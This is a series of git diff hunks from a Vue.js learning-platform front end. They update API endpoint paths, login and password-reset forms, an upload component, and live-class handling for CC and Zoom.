const json = this.tapParam
......@@ -48,7 +48,8 @@ export default {
// json[i].isShow = false
const param = {
index: index,
id: _data.val
id: _data.val,
name: item.name
}
this.$emit('tapParam', param)
}
......
......@@ -35,7 +35,8 @@ export default {
const config = {
height: 400,
uiColor: '#eeeeee',
filebrowserImageUploadUrl: '/api/ckeditor/img/upload',
filebrowserImageUploadUrl: '/api/ck/form/ckeditor-upload',
fileTools_requestHeaders: { tenant: 'kelley' },
// resize_enabled: typeof this.props.resizable === 'boolean' ? this.props.resizable : true,
toolbar: [
// { name: 'document', items: ['Source', '-', 'Save', 'NewPage', 'Preview'] },
......
......@@ -74,8 +74,8 @@ export default {
index: '1',
children: [
{ name: this.$t('components.learnSysLayout.sideBar.header1Child1'), index: '1-1' },
{ name: this.$t('components.learnSysLayout.sideBar.header1Child2'), index: '1-2' }
// { name: this.$t('components.learnSysLayout.sideBar.header1Child3'), index: '1-3' }
{ name: this.$t('components.learnSysLayout.sideBar.header1Child2'), index: '1-2' },
{ name: this.$t('components.learnSysLayout.sideBar.header1Child3'), index: '1-3' }
]
},
{
......@@ -86,11 +86,11 @@ export default {
{ name: this.$t('components.learnSysLayout.sideBar.header2Child1'), index: '2-1' }
]
},
{
name: this.$t('components.learnSysLayout.sideBar.header3'),
iconClass: 'el-icon-office-building',
index: '4'
},
// {
// name: this.$t('components.learnSysLayout.sideBar.header3'),
// iconClass: 'el-icon-office-building',
// index: '4'
// },
{
name: this.$t('components.learnSysLayout.sideBar.header4'),
iconClass: 'el-icon-self-fankuiyijian',
......@@ -123,13 +123,13 @@ export default {
},
/* 退出登录 - 跳转方法 */
goOutLogin () {
cAction.Other.outLogin().then(response => {
if (response.status === 200) {
cAction.Other.outLogin()
.then(str => {
window.G.UserInfo = {}
this.$router.push({ path: '/login/index' })
} else {
/* 出错 */
}
}).catch(e => {
// window.location.href = webConf.others.loginUrl
})
.catch(e => {
this.$message.error(e.message)
})
/* 清空一下记录,然后调整到登录页 */
......@@ -207,6 +207,7 @@ export default {
width: 70px;
height: 70px;
border-radius: 50%;
object-fit: cover;
}
&:hover {
.set-pic {
......
<template>
<div class="upload">
<el-upload action :show-file-list="false" :http-request="httpRequest" v-bind="$attrs">
<slot></slot>
<el-button type="text" size="small" icon="el-icon-upload">点击上传</el-button>
<template v-slot:tip>
<div class="el-upload__tips">
<slot name="tip"></slot>
</div>
</template>
<el-upload
class="avatar-uploader"
action
:accept="accept"
:show-file-list="showFileList"
:http-request="httpRequest"
v-bind="$attrs"
>
<slot>
<img v-if="value" :src="value" class="avatar" />
<i v-else class="el-icon-plus uploader-icon"></i>
</slot>
</el-upload>
<div class="file-list" v-if="value">
<div class="file-list-item">
<a :href="value" target="_blank">
<i class="el-icon-document"></i>
{{ fileName }}
</a>
<a :href="value" :download="fileName" target="_blank">
<el-tooltip effect="dark" content="下载">
<i class="el-icon-download"></i>
</el-tooltip>
</a>
</div>
</div>
</div>
</template>
<script>
......@@ -31,7 +20,9 @@ import cAction from '@action'
export default {
name: 'VUpload',
props: {
value: { type: String }
value: { type: String },
accept: { type: String, default: 'image/*' },
showFileList: { type: Boolean, default: false }
},
data() {
return {}
......@@ -52,30 +43,34 @@ export default {
.catch(error => {
console.log(error)
})
},
handleRemove() {
this.$emit('input', '')
}
}
}
</script>
<style lang="scss" scoped>
.file-list-item {
display: flex;
margin-bottom: 10px;
padding: 0 10px;
justify-content: space-between;
line-height: 30px;
background-color: #fff;
border-radius: 4px;
a {
text-decoration: none;
color: #333;
&:hover {
color: #b49441;
}
}
<style lang="scss">
.avatar-uploader .el-upload {
border: 1px dashed #d9d9d9;
border-radius: 6px;
cursor: pointer;
position: relative;
overflow: hidden;
}
.avatar-uploader .el-upload:hover {
border-color: #b80037;
}
.uploader-icon {
font-size: 28px;
color: #8c939d;
width: 220px;
height: 220px;
line-height: 220px;
text-align: center;
}
.avatar {
width: 220px;
height: 220px;
display: block;
object-fit: contain;
}
</style>
......@@ -24,7 +24,7 @@
<script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/common/runtime.js"></script>
<!-- 直接引入aliyun播放插件 JS -->
<script type="text/javascript" charset="utf-8" src="https://g.alicdn.com/de/prismplayer/2.8.8/aliplayer-min.js"></script>
<!-- 解决iframe嵌套,CC视频在safri中打开免登陆兼容问题 -->
<script type="text/javascript" charset="utf-8" src="https://player.alicdn.com/aliplayer/presentation/js/aliplayercomponents.min.js"></script> <!-- 解决iframe嵌套,CC视频在safri中打开免登陆兼容问题 -->
<script src="//view.csslcloud.net/js/_fix_.js"></script>
<script src="//view.csslcloud.net/js/jquery-1.9.0.min.js" type="text/javascript"></script>
<script src="//view.csslcloud.net/js/sdk/3.1.0/liveSDK.js" type="text/javascript"></script>
......
......@@ -14,10 +14,8 @@ import modules from './modules'
import createBefore from './components/beforeEnter'
import store from './store'
/* 兼容处理 start */
/* 处理低版本浏览器支持axios finally问题 */
require('promise.prototype.finally').shim()
/* 兼容处理 end */
import _ from 'lodash'
Vue.prototype.$_ = _
Vue.use(VueRouter)
Vue.use(UploadForm)
......@@ -35,6 +33,7 @@ Vue.use(modules, { i18n })
window.G = Vue.prototype.$GLOBAL = {
VERSION: 'PC-1.0.0'
}
// window.Promise = Promise
/**
* 定义全局变量 - 用作全局事件发布订阅
* 使用 vue自带事件 $emit 和 $on 进行发布订阅
......@@ -52,5 +51,5 @@ window.G.$instance_vue = new Vue({
router,
i18n,
store,
render: (h) => h(App)
render: h => h(App)
}).$mount('#app')
......@@ -7,7 +7,7 @@ const httpRequest = new BaseAPI(webConf)
export const getDiscussList = (param) => {
const paramPath = param.path || ''
return httpRequest.get(
`/v2/qa/questions${paramPath}`,
`/api/lms/v2/qa/questions${paramPath}`,
param.dataJson
)
}
......@@ -17,7 +17,7 @@ export const getDiscussList = (param) => {
export const getCourseDiscussList = (param) => {
const paramPath = param.path || ''
return httpRequest.get(
`/v2/qa/questions/course${paramPath}`,
`/api/lms/v2/qa/questions/course${paramPath}`,
param.dataJson
)
}
......@@ -26,7 +26,7 @@ export const getCourseDiscussList = (param) => {
*/
export const deleteDiscuss = (qid) => {
return httpRequest.delete(
`/v2/qa/questions/${qid}`
`/api/lms/v2/qa/questions/${qid}`
)
}
......@@ -35,7 +35,7 @@ export const deleteDiscuss = (qid) => {
*/
export const getDiscussDetail = (qid) => {
return httpRequest.get(
`/v2/qa/questions/${qid}`
`/api/lms/v2/qa/questions/${qid}`
)
}
/**
......@@ -43,7 +43,7 @@ export const getDiscussDetail = (qid) => {
*/
export const deleteComment = (cid) => {
return httpRequest.delete(
`/v2/qa/comments/${cid}`
`/api/lms/v2/qa/comments/${cid}`
)
}
/**
......@@ -51,7 +51,7 @@ export const deleteComment = (cid) => {
*/
export const callbackComment = (param) => {
return httpRequest.post(
'/v2/qa/comments',
'/api/lms/v2/qa/comments',
param,
{ headers: { 'Content-Type': 'application/json' } }
)
......@@ -62,7 +62,7 @@ export const callbackComment = (param) => {
*/
export const answerQues = (param) => {
return httpRequest.post(
'/v2/qa/answers',
'/api/lms/v2/qa/answers',
param,
{ headers: { 'Content-Type': 'application/json' } }
)
......@@ -72,7 +72,7 @@ export const answerQues = (param) => {
*/
export const deleteAnswer = (aid) => {
return httpRequest.delete(
`/v2/qa/answers/${aid}`
`/api/lms/v2/qa/answers/${aid}`
)
}
/**
......@@ -80,7 +80,7 @@ export const deleteAnswer = (aid) => {
*/
export const unlike = (tagid) => {
return httpRequest.delete(
`/v2/qa/tags/${tagid}`
`/api/lms/v2/qa/tags/${tagid}`
)
}
/**
......@@ -88,7 +88,7 @@ export const unlike = (tagid) => {
*/
export const like = (param) => {
return httpRequest.post(
'/v2/qa/tags',
'/api/lms/v2/qa/tags',
param,
{ headers: { 'Content-Type': 'application/json' } }
)
......
......@@ -66,12 +66,12 @@ export default {
},
methods: {
loadAjax () {
const loading = this.$loading({ lock: true, text: '', spinner: '', background: 'rgba(255, 255, 255, 0.9)' })
// const loading = this.$loading({ lock: true, text: '', spinner: '', background: 'rgba(255, 255, 255, 0.9)' })
api[this.params.request](this.params)
.then(json => {
this.discussList = json
})
.catch(e => { this.$message.error(e.message) }).finally(() => { loading.close() })
.catch(e => { this.$message.error(e.message) }).finally(() => { /* loading.close() */ })
},
/**
* 跳转到对应 问题详情页
......
......@@ -7,42 +7,42 @@ export default class LoginAPI extends BaseAPI {
* @param {[string]} obj.password 密码 md5加密
* @param {[string]} obj.service 传当前域名
*/
userLogin = (obj = {}) => this.post('/user_center/login', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
userLogin = (obj = {}) => this.post('/api/passport/rest/login', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/**
* 调用退出登录
*/
outLogin = () => this.get('/user_center/logout', {}, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
outLogin = () => this.get('/api/passport/rest/logout', {}, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/**
* 当前登录用户,检测是否该系统有权限
*/
getInfo = () => this.get('/user_center/get_user_info', {}, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
getInfo = () => this.get('/api/passport/account/get-user-info', {}, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/**
* 发送验证码
* @param {[string]} obj.mobile 手机号
* @param {[string]} obj.service 传当前域名
*/
sendCode = (obj = {}) => this.post('/user_center/send_login_code', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
sendCode = (obj = {}) => this.post('/api/usercenter/user/send-code', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/**
* 验证码登录
* @param {[string]} obj.mobile 手机号
* @param {[string]} obj.code 验证码
* @param {[string]} obj.service 传当前域名
*/
codeLogin = (obj = {}) => this.post('/user_center/code_login', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
codeLogin = (obj = {}) => this.post('/api/passport/rest/login', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/**
* 发送重置密码验证码
* @param {[string]} obj.contact 手机号/邮箱
* @param {[string]} obj.source_type 值为 3
* @param {[string]} obj.service 传当前域名
*/
sendResetPwdCode = (obj = {}) => this.post('/user_center/send_reset_password_code', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
sendResetPwdCode = (obj = {}) => this.post('/api/usercenter/user/send-code', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/**
* 重置密码验证码确认
* @param {[string]} obj.contact 手机号/邮箱
* @param {[string]} obj.code 验证码
* @param {[string]} obj.service 传当前域名
*/
validateCode = (obj = {}) => this.post('/user_center/validate_code', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
validateCode = (obj = {}) => this.post('/api/passport/user_center/validate_code', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/**
* 重置密码
* @param {[string]} obj.contact 手机号/邮箱
......@@ -50,14 +50,14 @@ export default class LoginAPI extends BaseAPI {
* @param {[string]} obj.new_password 新的密码
* @param {[string]} obj.service 传当前域名
*/
resetPwd = (obj = {}) => this.post('/user_center/reset_password', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
resetPwd = (obj = {}) => this.post('/api/usercenter/user/update-pwd', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/**
* 个人信息 - 修改密码
* @param {[string]} obj.old_password 验证码
* @param {[string]} obj.new_password 新的密码
* @param {[string]} obj.service 传当前域名
*/
updatePwd = (obj = {}) => this.post('/user_center/change_password', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
updatePwd = (obj = {}) => this.post('/api/usercenter/user/change-pwd-by-cookie', obj, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } })
/**
* 清空所有cookies
*/
......
......@@ -110,9 +110,6 @@ export default {
this.$refs.setAccountform.validate((valid) => {
if (valid) {
Login.codeLogin({
/* 老版 */
mobile: this.setAccount.user,
code: this.setAccount.pwd,
/* 新版 */
account: this.setAccount.user,
password: this.setAccount.pwd,
......@@ -120,7 +117,7 @@ export default {
RememberMe: this.setAccount.isRemember ? 'true' : 'false',
service: window.location.origin
}).then(data => {
if (!data) { return }
if (data.code !== 0) { return }
if (data.url) {
/* 查询上次跳转信息,并跳转回去 */
if (this.query.rd) {
......
<template>
<div class="content-s">
<el-steps :active="stepActive" align-center>
<el-step :title="$t('LoginModule.ForgetLogin.step1')"></el-step>
<el-step :title="$t('LoginModule.ForgetLogin.step2')"></el-step>
<el-step :title="$t('LoginModule.ForgetLogin.step3')"></el-step>
</el-steps>
<div v-if="stepActive === 1" class="step1">
<el-form ref="form1" :model="accountSet" :rules="accountRules" @submit.native.prevent>
<el-row>
<el-col :xs="24" :sm="5" :md="6" :lg="6" :xl="8"><el-form-item></el-form-item></el-col>
<el-col :xs="24" :sm="9" :md="8" :lg="8" :xl="5">
<el-form-item prop="account">
<el-input v-model="accountSet.account" type="text" :placeholder="$t('LoginModule.ForgetLogin.inputStr')" @keyup.enter.native="onSubmitForm1"></el-input>
<div class="step3">
<el-form ref="form3" label-width="100px" :model="accountSet" :rules="accountRules" label-position="top">
<el-row type="flex" class="row-bg" justify="center">
<el-col :xs="24" :md="10">
<el-form-item prop="account" :label="$t('LoginModule.NormalLogin.account')">
<el-input v-model="accountSet.account" type="text" :placeholder="$t('LoginModule.ForgetLogin.inputStr')"></el-input>
</el-form-item>
</el-col>
<el-col :xs="24" :sm="5" :md="4" :lg="4" :xl="3">
<el-form-item>
<el-button style="width: 100%;" type="primary" @click="onSubmitForm1">{{$t('LoginModule.ForgetLogin.sendCode')}}</el-button>
<el-form-item prop="code" :label="(accountSet.type ? $t('LoginModule.ForgetLogin.mailCode') : $t('LoginModule.ForgetLogin.iphoneCode'))">
<el-input v-model="accountSet.code" type="text" :placeholder="$t('LoginModule.ForgetLogin.input4Code')">
<el-button slot="append" type="primary" @click="sendCode">{{sendBtnText}}</el-button>
</el-input>
</el-form-item>
</el-col>
<el-col :xs="24" :sm="5" :md="6" :lg="6" :xl="8"><el-form-item></el-form-item></el-col>
</el-row>
</el-form>
<slot name="go-back"></slot>
</div>
<div v-if="stepActive === 2" class="step2">
<div class="txt-title">
{{$t('LoginModule.ForgetLogin.codeStr')}}{{accountSet.account}}
</div>
<el-form ref="form2" :model="accountSet" :rules="accountRules" @submit.native.prevent>
<el-row>
<el-col :xs="24" :sm="1" :md="2" :lg="4" :xl="4"><el-form-item></el-form-item></el-col>
<el-col :xs="24" :sm="16" :md="14" :lg="11" :xl="11">
<el-form-item label-width="120px" prop="code" :label="(accountSet.type ? $t('LoginModule.ForgetLogin.mailCode') : $t('LoginModule.ForgetLogin.iphoneCode'))">
<el-input v-model="accountSet.code" type="text" :placeholder="$t('LoginModule.ForgetLogin.input4Code')"></el-input>
</el-form-item>
</el-col>
<el-col :xs="24" :sm="6" :md="6" :lg="5" :xl="5">
<el-form-item>
<el-button style="width: 100%;" type="primary" :disabled="isSendCode" @click="sendCode">{{sendBtnText}}</el-button>
</el-form-item>
</el-col>
<el-col :xs="24" :sm="1" :md="2" :lg="4" :xl="4"><el-form-item></el-form-item></el-col>
</el-row>
</el-form>
<div class="operate">
<el-row>
<el-col :span="12">
<el-button @click="goPrevStep">{{$t('LoginModule.ForgetLogin.prev')}}</el-button>
</el-col>
<el-col :span="12" style="text-align: right;">
<el-button @click="onSubmitForm2">{{$t('LoginModule.ForgetLogin.next')}}</el-button>
</el-col>
</el-row>
</div>
</div>
<div v-if="stepActive === 3" class="step3">
<el-form ref="form3" :model="accountSet" :rules="accountRules" label-position="left">
<el-row>
<el-col :xs="24" :sm="3" :md="5" :lg="6" :xl="6"><el-form-item></el-form-item></el-col>
<el-col :xs="24" :sm="18" :md="14" :lg="12" :xl="12">
<el-form-item label-width="120px" prop="newpwd" :label="$t('LoginModule.ForgetLogin.newPwd')">
<el-form-item prop="newpwd" :label="$t('LoginModule.ForgetLogin.newPwd')">
<el-input v-model="accountSet.newpwd" type="password" :placeholder="$t('LoginModule.ForgetLogin.placeholder')"></el-input>
</el-form-item>
<el-form-item label-width="120px" prop="repwd" :label="$t('LoginModule.ForgetLogin.repeatNewPwd')">
<el-form-item prop="repwd" :label="$t('LoginModule.ForgetLogin.repeatNewPwd')">
<el-input v-model="accountSet.repwd" type="password" :placeholder="$t('LoginModule.ForgetLogin.repeatPlaceholder')"></el-input>
</el-form-item>
<el-form-item>
<el-button style="width: 100%;" type="primary" @click="onSubmitForm3">{{$t('LoginModule.ForgetLogin.finish')}}</el-button>
<el-button style="width: 100%;" type="primary" @click="onSubmitForm">{{$t('LoginModule.ForgetLogin.finish')}}</el-button>
</el-form-item>
</el-col>
<el-col :xs="24" :sm="3" :md="5" :lg="6" :xl="6"><el-form-item></el-form-item></el-col>
</el-row>
</el-form>
<slot name="go-back"></slot>
</div>
<el-dialog
title=""
......@@ -136,7 +88,6 @@ export default {
}
}
return {
stepActive: 1,
isSendCode: false, // 是否已发送验证码
timeInterval: null, // 定时器,倒计时
sendBtnText: this.$t('LoginModule.ForgetLogin.sendCode'), // 按钮 文字
......@@ -168,36 +119,11 @@ export default {
},
beforeDestroy () { /* 清空倒计时 */ this.clearTime() },
methods: {
/* 上一步 */
goPrevStep () {
this.stepActive -= 1
/* 清空 第一步 填写内容 */
this.accountSet.account = ''
/* 清空倒计时 */
this.clearTime()
},
/* 第一步 提交 */
onSubmitForm1 () {
this.$refs.form1.validate((valid) => {
if (valid) {
/* 跳到第二步 */
this.stepActive = 2
/* 跳到第二步 并 发送验证码 */
this.sendCode()
} else {
this.$message.error(this.$t('LoginModule.ForgetLogin.checkRightStr'))
return false
}
})
},
/* 发送验证码 */
sendCode () {
if (!this.isSendCode) {
Login.sendResetPwdCode({
contact: this.accountSet.account,
source_type: 3
}).then(res => {
if (res.status === 200) {
Login.sendResetPwdCode({ account: this.accountSet.account }).then(res => {
if (res.code === 0) {
/* 发送验证码不管是否成功,都开始倒计时 */
let time = 60
this.isSendCode = true
......@@ -228,37 +154,17 @@ export default {
this.sendBtnText = this.$t('LoginModule.ForgetLogin.sendCode')
clearInterval(this.timeInterval)
},
/* 第二步 提交 */
onSubmitForm2 () {
this.$refs.form2.validate((valid) => {
if (valid) {
Login.validateCode({
contact: this.accountSet.account,
code: this.accountSet.code
}).then(data => {
if (data.status === 200) {
/* 跳到第三步 */
this.stepActive = 3
} else {
return new Error(JSON.stringify(data))
}
})
} else {
this.$message.error(this.$t('LoginModule.Others.formCheckStr'))
return false
}
})
},
/* 第三步 提交 */
onSubmitForm3 () {
onSubmitForm () {
this.$refs.form3.validate((valid) => {
if (valid) {
Login.resetPwd({
contact: this.accountSet.account,
account: this.accountSet.account,
code: this.accountSet.code,
new_password: this.accountSet.repwd
password: this.accountSet.newpwd,
passwordR: this.accountSet.repwd
}).then(data => {
if (data.status === 200) {
if (data.code === 0) {
this.centerDialogVisible = true
} else {
return new Error(JSON.stringify(data))
......@@ -285,19 +191,19 @@ export default {
.content-s {
position: absolute;
left: 50%;
top: 55%;
padding: 40px 0;
width: 80%;
max-width: 1200px;
top: 22%;
padding: 20px 0;
width: calc(100% - 20px);
max-width: 1000px;
box-shadow: 0px 3px 10px rgba(0, 0, 0, 0.3);
transform: translateX(-50%);
background: #fff;
}
/* forget 登录 */
.step1 { font-size: 16px; width: 90%; margin: 20px auto 0 auto; }
.step2 { font-size: 16px; width: 71%; margin: 20px auto 0 auto; }
.step2 .txt-title { margin-bottom: 0.3rem; color: #999; text-align: center; }
.step2 .operate { margin-top: 0.2rem; }
.step3 { font-size: 16px; width: 80%; margin: 20px auto 0 auto; }
.step3 { font-size: 16px; margin: 10px 20px 0; text-align: left;}
::v-deep .el-form-item__label{ line-height:1; }
</style>
......@@ -66,16 +66,20 @@ export default {
if (valid) {
Login.userLogin({
/* 老版登录 */
login_name: this.setAccount.user,
password: md5('uokoaduw' + this.setAccount.pwd.split('').reverse().join('') + 'auhgniq'),
// login_name: this.setAccount.user,
// password: md5('uokoaduw' + this.setAccount.pwd.split('').reverse().join('') + 'auhgniq'),
/* 新版登录 */
account: this.setAccount.user,
// password: this.setAccount.pwd,
password: this.setAccount.pwd,
type: 1,
RememberMe: this.setAccount.isRemember ? 'true' : 'false',
service: window.location.origin
}).then(res => {
if (!res) { return }
if (res.code !== 0) { return }
if (this.attr.url) {
window.location.href = this.attr.url
return
}
if (res.url) {
/* 查询上次跳转信息,并跳转回去 */
if (this.query.rd) {
......
......@@ -8,7 +8,9 @@ const httpRequest = new BaseAPI(webConf)
* @param {string} courseId 课程ID
*/
export function getCourse(semesterId, courseId) {
return httpRequest.get(`/v2/education/courses/${semesterId}/${courseId}`)
return httpRequest.get(
`/api/lms/v2/education/courses/${semesterId}/${courseId}`
)
}
/**
......@@ -17,7 +19,7 @@ export function getCourse(semesterId, courseId) {
*/
export function getChapterVideo(vid) {
return httpRequest.post(
'/v2/education/video-streaming',
'/api/lms/v2/education/video-streaming',
{ vid },
{ headers: { 'Content-Type': 'application/json' } }
)
......@@ -29,7 +31,7 @@ export function getChapterVideo(vid) {
*/
export function getChapterVideoAliyun(vid) {
return httpRequest.post(
'/v2/education/aliyun-video-streaming',
'/api/lms/v2/education/aliyun-video-streaming',
{ vid },
{ headers: { 'Content-Type': 'application/json' } }
)
......@@ -43,7 +45,7 @@ export function getChapterVideoAliyun(vid) {
*/
export function getChapterVideoProgress(semesterId, resourseId, params) {
return httpRequest.get(
`/v2/education/video/${semesterId}/${resourseId}/device`,
`/api/lms/v2/education/video/${semesterId}/${resourseId}/device`,
params
)
}
......@@ -53,7 +55,7 @@ export function getChapterVideoProgress(semesterId, resourseId, params) {
* @param {Object} params
*/
export function updateChapterVideoProgress(params) {
return httpRequest.get('/v2/analytics/upload-video', params)
return httpRequest.get('/api/lms/v2/analytics/upload-video', params)
}
/**
......@@ -64,7 +66,7 @@ export function updateChapterVideoProgress(params) {
*/
export function getChapterHomework(semesterId, courseId, resourseId) {
return httpRequest.get(
`/v2/education/homeworks/${semesterId}/${courseId}/${resourseId}`
`/api/lms/v2/education/homeworks/${semesterId}/${courseId}/${resourseId}`
)
}
......@@ -76,7 +78,7 @@ export function getChapterHomework(semesterId, courseId, resourseId) {
*/
export function getChapterHomeworkDeadline(semesterId, courseId, chapterId) {
return httpRequest.get(
`/v2/education/homeworks/${semesterId}/${courseId}/${chapterId}/deadline`
`/api/lms/v2/education/homeworks/${semesterId}/${courseId}/${chapterId}/deadline`
)
}
......@@ -84,7 +86,7 @@ export function getChapterHomeworkDeadline(semesterId, courseId, chapterId) {
* 提交考试
*/
export function sbumitChapterHomework(params) {
return httpRequest.post('/v2/education/homeworks', params, {
return httpRequest.post('/api/lms/v2/education/homeworks', params, {
headers: { 'Content-Type': 'application/json' }
})
}
......@@ -93,7 +95,7 @@ export function sbumitChapterHomework(params) {
* 上传文件
*/
export function uploadFile(data) {
return httpRequest.post('/util/upload-file', data, {
return httpRequest.post('/api/lms/util/upload-file', data, {
headers: { 'Content-Type': 'multipart/form-data' }
})
}
......@@ -105,7 +107,7 @@ export function uploadFile(data) {
*/
export function getCourseWork(semesterId, courseId) {
return httpRequest.get(
`/v2/education/courses/${semesterId}/${courseId}/essay`
`/api/lms/v2/education/courses/${semesterId}/${courseId}/essay`
)
}
......@@ -116,7 +118,7 @@ export function getCourseWork(semesterId, courseId) {
*/
export function updateCourseWork(semesterId, courseId, data) {
return httpRequest.post(
`/v2/education/courses/${semesterId}/${courseId}/essay`,
`/api/lms/v2/education/courses/${semesterId}/${courseId}/essay`,
data,
{ headers: { 'Content-Type': 'multipart/form-data' } }
)
......@@ -128,7 +130,9 @@ export function updateCourseWork(semesterId, courseId, data) {
* @param {string} courseId 课程ID
*/
export function getCourseExam(semesterId, courseId) {
return httpRequest.get(`/v2/education/${semesterId}/${courseId}/examination`)
return httpRequest.get(
`/api/lms/v2/education/${semesterId}/${courseId}/examination`
)
}
/**
......@@ -139,7 +143,7 @@ export function getCourseExam(semesterId, courseId) {
*/
export function getCourseExamStatus(semesterId, courseId, examId) {
return httpRequest.get(
`/v2/education/${semesterId}/${courseId}/examination/${examId}/status`
`/api/lms/v2/education/${semesterId}/${courseId}/examination/${examId}/status`
)
}
......@@ -151,7 +155,7 @@ export function getCourseExamStatus(semesterId, courseId, examId) {
*/
export function submitCourseExam(semesterId, courseId, examId, data) {
return httpRequest.post(
`/v2/education/${semesterId}/${courseId}/examination/${examId}/sheet`,
`/api/lms/v2/education/${semesterId}/${courseId}/examination/${examId}/sheet`,
data,
{ headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }
)
......@@ -165,7 +169,7 @@ export function submitCourseExam(semesterId, courseId, examId, data) {
*/
export function getCourseExamResult(semesterId, courseId, examId, params) {
return httpRequest.get(
`/v2/education/${semesterId}/${courseId}/examination/${examId}/sheet`,
`/api/lms/v2/education/${semesterId}/${courseId}/examination/${examId}/sheet`,
params
)
}
<template>
<ul class="chapter-list">
<li class="chapter-item" v-for="item in chapters" :key="item.id">
<h4>{{item.name}}</h4>
<h4>{{ item.name }}</h4>
<ul class="chapter-item-list">
<li
v-for="subItem in item.children"
:key="subItem.id"
@click="onClick(subItem)"
:class="{'is-active': subItem.id === (active ? active.id : '')}"
:class="{ 'is-active': subItem.id === (active ? active.id : '') }"
>
<span class="chapter-item-list__name">{{subItem.name | showName(subItem)}}</span>
<span class="chapter-item-list__name">{{ subItem.name | showName(subItem) }}</span>
<i class="el-icon" :class="genIconClass(subItem.type)"></i>
</li>
</ul>
......@@ -60,6 +60,11 @@ export default {
if (data.type === 1) {
return
}
// zoom直播
if (data.type === 8) {
window.open(data.live.record_url || data.live.join_url)
return
}
// 课程大作业
if (data.id === 'course_work' && !this.data.survey) {
this.$message('请先填写教学评估,然后完成大作业。')
......@@ -71,10 +76,7 @@ export default {
this.$router.push({ name: 'survey', params: { sid, cid } })
return
}
this.$router.push({
name: 'viewerCourseChapter',
params: { id: data.id }
})
this.$router.push({ name: 'viewerCourseChapter', params: { id: data.id } })
}
}
}
......
<template>
<div class="course-viewer-aside">
<aside class="course-viewer-aside">
<el-tabs v-model="activeName">
<el-tab-pane label="章节" name="0">
<div class="tab-pane">
......@@ -12,7 +12,7 @@
</div>
</el-tab-pane>
</el-tabs>
</div>
</aside>
</template>
<script>
......
......@@ -35,7 +35,8 @@ export default {
const config = {
height: 400,
uiColor: '#eeeeee',
filebrowserImageUploadUrl: '/api/ckeditor/img/upload',
filebrowserImageUploadUrl: '/api/ck/form/ckeditor-upload',
fileTools_requestHeaders: { tenant: 'kelley' },
// resize_enabled: typeof this.props.resizable === 'boolean' ? this.props.resizable : true,
toolbar: [
// { name: 'document', items: ['Source', '-', 'Save', 'NewPage', 'Preview'] },
......
<template>
<component
:is="currentCompoent"
:chapter="chapter"
v-bind="$attrs"
v-on="$listeners"
v-if="chapter"
:key="pid"
/>
<component :is="currentCompoent" :chapter="chapter" v-bind="$attrs" v-on="$listeners" v-if="chapter" :key="pid" />
</template>
<script>
......@@ -46,7 +39,8 @@ export default {
2: 'ChapterPlayer', // 视频
3: 'ChapterWork', // 作业
4: 'ChapterRead', // 资料
5: 'ChapterLive', // 直播
5: 'ChapterLive', // CC直播
8: 'ChapterLive', // CC直播
9: 'ChapterExam', // 考试
99: 'CourseWork', // 课程大作业
100: 'CourseRead', // 课程资料
......
<template>
<div style="width:100%;height:100%;">
<div style="width: 100%; height: 100%">
<div class="course-viewer-content" v-if="isLiveEnd && !hasRecord">
<div class="empty">直播已结束</div>
</div>
<iframe
:src="iframeUrl"
frameborder="0"
width="100%"
height="100%"
allow="autoplay;geolocation;microphone;camera;midi;encrypted-media;"
v-else
></iframe>
</div>
</template>
......@@ -37,22 +41,52 @@ export default {
nickName() {
return this.user.personal_name || '匿名'
},
iframeUrl() {
const live = this.chapter.live
if (
live.live_status === 2 &&
live.enable_record === 1 &&
live.record_url
) {
live() {
const live = this.chapter.live || {}
live.live_status = parseInt(live.live_status)
return live
},
// 是否直播结束
isLiveEnd() {
return this.live.live_status === 2
},
// 是否有回放
hasRecord() {
// enable_record 0:不启用回放 1:开启回放
return this.live.enable_record === 1 && this.live.record_url
},
iframeUrl() {
if (this.live.type === 5) {
return this.ccUrl
}
if (this.live.type === 8) {
return this.zoomUrl
}
},
// cc直播
ccUrl() {
const live = this.live
if (this.isLiveEnd && this.hasRecord) {
// 查看回放
return live.record_url
} else {
// 直播
live.viewer_name = live.viewer_name || this.nickName
return `https://view.csslcloud.net/api/view/index?roomid=${live.room_id}&userid=${live.user_id}&autoLogin=true&viewername=${live.viewer_name}&viewertoken=${live.viewer_token}`
live.user_name = live.user_name || this.nickName
return `https://view.csslcloud.net/api/view/index?roomid=${live.room_id}&userid=${live.account_id}&autoLogin=true&viewername=${live.user_name}&viewertoken=${live.play_pass}`
}
},
// zoom直播
zoomUrl() {
return this.live.record_url || this.live.join_url
}
}
}
</script>
<style scoped>
.empty {
padding: 100px;
font-size: 30px;
text-align: center;
}
</style>
......@@ -48,6 +48,8 @@ export default {
props: {
// 当前章节
chapter: { type: Object },
// 是否是PPT播放跳转
isSeek: { type: Boolean, default: false },
// PPT当前选中的索引
pptIndex: { type: Number, default: 0 }
},
......@@ -64,19 +66,18 @@ export default {
throttleWait: 5, // 秒
progress: {
cpt: 0, // 当前播放时间
mpt: 0, // 视频时长
mpt: 0, // 当前播放最大时间
progress: 0, // 进度
pt: 0 // 累计播放时间
pt: 0 // 累计观看时间
},
player: null,
watchedTimePoint: [], // 视频观看的时间点
timer: null,
isPlaying: false
watchedTime: 0,
watchedTimePoint: [] // 视频观看的时间点
}
},
watch: {
pptIndex(index) {
this.updateVideoCurrentTime(index)
this.isSeek && this.updateVideoCurrentTime(index)
}
},
computed: {
